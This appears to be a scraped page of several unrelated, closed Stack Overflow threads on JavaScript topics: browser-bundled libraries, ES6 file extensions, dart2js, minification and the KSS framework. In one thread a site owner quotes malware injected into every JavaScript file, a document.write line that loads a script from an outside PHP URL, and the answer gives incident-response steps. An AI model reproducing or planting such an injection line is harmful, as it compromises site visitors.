Closed. This question is opinion-based. It is not currently accepting answers.
Want to improve this question? Update the question so it can be answered with facts and citations by editing this post.
Closed 8 years ago.
Improve this question
Does anyone know why browsers such as Chrome, FF and IE don't just have all famous scripts embedded in their install? They could have all the versions of jquery, for example, pre-compiled (i.e. in V8 for chrome) and the browser would just be able to recognize the reference to a cdn or simply a local script by the name of the script. And really, how much greater would that make the install of the browser if you included all version of, say, jquery, angular, dojo and ext? Compiled to C++ via V8 these scripts aren't very large at all.
Sure, you could say, 'but then it won't use the modifications I made in jquery-2.1.3.js'. True, but that's just horrible engineering.
It would be faster and save bandwidth.
But there is probably something I'm overlooking. There always tends to be.
Because there is already a whole protocol related to delivering resources to browsers and for caching them on client side and sending headers to tell the browsers when they should check for new versions.
Also, filename-1.2.3.js don't tell the whole story. There is also a build number after major, minor and patch. See http://semver.org/
You couldn't expect distinct browser vendors to take the responsibility to update their browsers every time any script was being updated or built. It'd simply slow down the delivery. Considering there already is a protocol for it. HTTP.
Related
Closed. This question is opinion-based. It is not currently accepting answers.
Want to improve this question? Update the question so it can be answered with facts and citations by editing this post.
Closed 6 years ago.
Improve this question
I've looked through the spec, did some websearches (as well as on stackoverflow) and I can't find anything that indicates a change has been made to the file extension for ECMAscript2015.
I realize that only the syntax has changed and probably the .js extension is still valid.
So what I'm asking is this:
Should I use .es6 to indicate that the file contains ECMAscript2015 syntax?
or
Should I just use the .js extension?
I personally favor .es6 over .js. However, I want to make sure that there aren't any possible problems with parsing or w/e (which I doubt since it's all just plain text and the file extension doesn't really matter, just want to be sure).
Also I like keeping with the specs to avoid issues.
PS: I'd like to avoid personal preferences, I'd like to know if there are any rules according to the ECMAscript2015 spec that states you should or should not use other file extensions than .js.
File extensions only matter when you run software that cares about them.
When dealing with local software, that generally means the operating system needs to connect the file extension the file type for any application software that cares. You want it to do The Right Thing when you double click the file in your file manager or when you tell your editor's Open dialogue to filter on JavaScript files.
When dealing with an HTTP server, that generally means that you want it to attach the correct (application/javascript) Content-Type HTTP response header.
I'm not aware of any parser that pays attention to the file extension after it is loaded.
No, there is no need to change file extension, Ecmascript 6 is just a set of new features added to the previous standard Ecmascript 5, Ecmascript is also known as Javascript... what you need is just to know if your environment supports that version or not.
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 9 years ago.
Improve this question
My web site has been infested with a virus. All javascript files contain the following code:
/*a61bd2*/
document.write("<script src='http://www.blog-environnement.fr/wp-admin /DxRcTnm8.php?id=128633385' type='text/javascript'></" + "script>");
/*/a61bd2*/
I can clean it but I have to open each javascript individually to erase the code. I wonder if it is possible with a script to automatically erase this code from all javascripts within my web site?
If this is possible and if someone could give me some tips because as I don't want to have the problem again.
than you all, sorry for my english.
Don't try to clean up your compromised code. Get a clean copy and work with that instead.
Take your server off line
Check your workstation for malware (in case the attack vector was via something like stealing your passwords that way)
Build a clean server
Make sure it has the latest version of all the software / libraries that you depend on
Restore your site from a known good backup
Start monitoring your site to see if it gets compromised again
Examine the logs from the compromised server to see if you can find out the nature of the attack from there
Security audit all your code (both the clean backup and the edited version from the compromised server).
Closed. This question is opinion-based. It is not currently accepting answers.
Want to improve this question? Update the question so it can be answered with facts and citations by editing this post.
Closed 9 years ago.
Improve this question
I was seduced by the Dart language and I would like to build my future webapp in this language, but since only chrome supports to this day this language (and it is unlikely that other browsers will follow) I put all my hopes in dart2js to convert my future application in pure javascript. But I'm afraid I have bad surprises once the work is completed, my question is simple: can I have complete confidence in this tool whatever the target browser is?
Edit1: I understand that the cross-browser compatibility is mainly the job of the developer
Edit2: What I exactly mean is: to what extent can I have confidence that dart2js will convert my entire webapp once finished, that it will not encounter an "internal error" while doing it.
First of all, Chrome does not actually support Dart natively at this point in time (although it is planned for the future). "Unlikely that other browsers will follow" is not necessarily true, it depends on a whole host of factors (e.g. language popularity, performance gains, etc.), but I agree with you that you should only consider dart2js as a viable target at this point.
You can't have complete confidence that dart2js will work exactly the same regardless of browser. But that is the nature of the web currently; different browsers render things differently, have their own bugs and quirks, and in general do not work the same way.
Whether you are developing in Dart and using dart2js, or in Java and using the GWT compiler, or in JavaScript itself, there is no guarantee that the application will work properly across browsers. It is up to you as the developer to test each browser target to verify that it works as expected.
However, since dart2js only supports modern browsers, the discrepancies you will encounter will likely be minor (as opposed to the discrepancies you will discover running an application in latest Chrome vs. IE8 for instance).
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 3 years ago.
Improve this question
I understand the basic principles of script/style compression. What I would like to know is how do I integrate minified/combined scripts into my process and not interrupt my normal development flow?
I obviously want to use the regular files while developing then switch to the minified versions for deployment. I currently use YepNope to load my scripts. Is there some sort of conditional I could use to tell the browser to load the regular files?
Environment: VS 2010
My solution to this was to go with Microsoft's own Ajax Min its pretty nice. Compression is on par with some others I used.
As far as telling the browser to load minified versions or full, I added that into the post build script. Basically if you are in this particular environment then do not build the minified versions. Then in the js I have a little flag that points to one or the other depending on environment.
Hope this helps.
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 9 years ago.
Improve this question
Has anyone here used KSS?
KSS is an AJAX framework.
KSS has both a client-side Javascript library and server-side support.
The client-side Javascript library needs to be included in your page. It fetches Kinetic style sheets from the server, parses them and binds a set of action to browser events and/or page elements. It is clean Javascript code that can peacefully coexist with other clean Javascript librarys(sic) like JQuery or ExtJS. It is about 100k in production mode. You can integrate your own Javascript code by using its extension mechanism through plugins.
I'm currently working on a project that uses it. Are there any drawbacks and gotchas to be aware of?
What's its cross browser support like?
At first as was really put off by the fact that you don't write the JS by hand, and actually translates a CSS-like file to JS behavior, but seeing in action, I've got to say that it really works quite well. But I haven't done any cross browser tests yet.
Some things that I've found:
it sends HTML from the server, instead of XML and/or JSON and replacing them clientside, meaning higher messages (understandable)
it has problems with scripts that add iframes dynamically on a KSS widget that you reload
some things are hard to debug, while others are made easy thanks to KSS' integration with Firebug